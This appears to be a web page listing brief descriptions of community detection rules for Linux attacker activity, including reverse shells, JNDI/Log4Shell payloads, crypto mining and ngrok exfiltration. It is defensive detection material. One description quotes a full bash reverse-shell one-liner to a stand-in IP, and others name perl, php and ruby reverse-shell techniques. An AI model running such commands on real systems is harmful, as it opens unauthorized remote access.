Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
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Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance
Detects execution of shells from a parent process located in a temporary (/tmp) directory
Java Payload Strings
Sigma
Detects possible Java payloads in web access logs
Detects path traversal exploitation attempts
Detects potential JNDI Injection exploitation. Often coupled with Log4Shell exploitation.
Detects XML parsing issues, if the application expects to work with XML make sure that the parser is initialized safely.
Detects suspicious command with /dev/tcp
Detects the creation of shell scripts under the "profile.d" path.
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
Detects process connections to a Monero crypto mining pool
Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors
Detects the usage of the unsafe bpftrace option
Crontab Enumeration
Sigma
Detects usage of crontab to list the tasks of the user
Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks
Detects execution of binaries located in potentially suspicious locations via "nohup"
Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.
SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including
Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including
Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
Detects execution of the perl binary with the "-e" flag and common strings related to potential reverse shell activity
Detects usage of the PHP CLI with the "-r" flag which allows it to run inline PHP code. The rule looks for calls to the "fsockopen" function which allows the creation of sockets.
Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.
Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.
Detects execution of ruby with the "-e" flag and calls to "socket" related functions. This could be an indication of a potential attempt to setup a reverse shell
Detects usage of system utilities (only grep and egrep for now) to discover security software discovery
Detects potential container discovery via listing of certain kernel features in the "/proc" virtual filesystem
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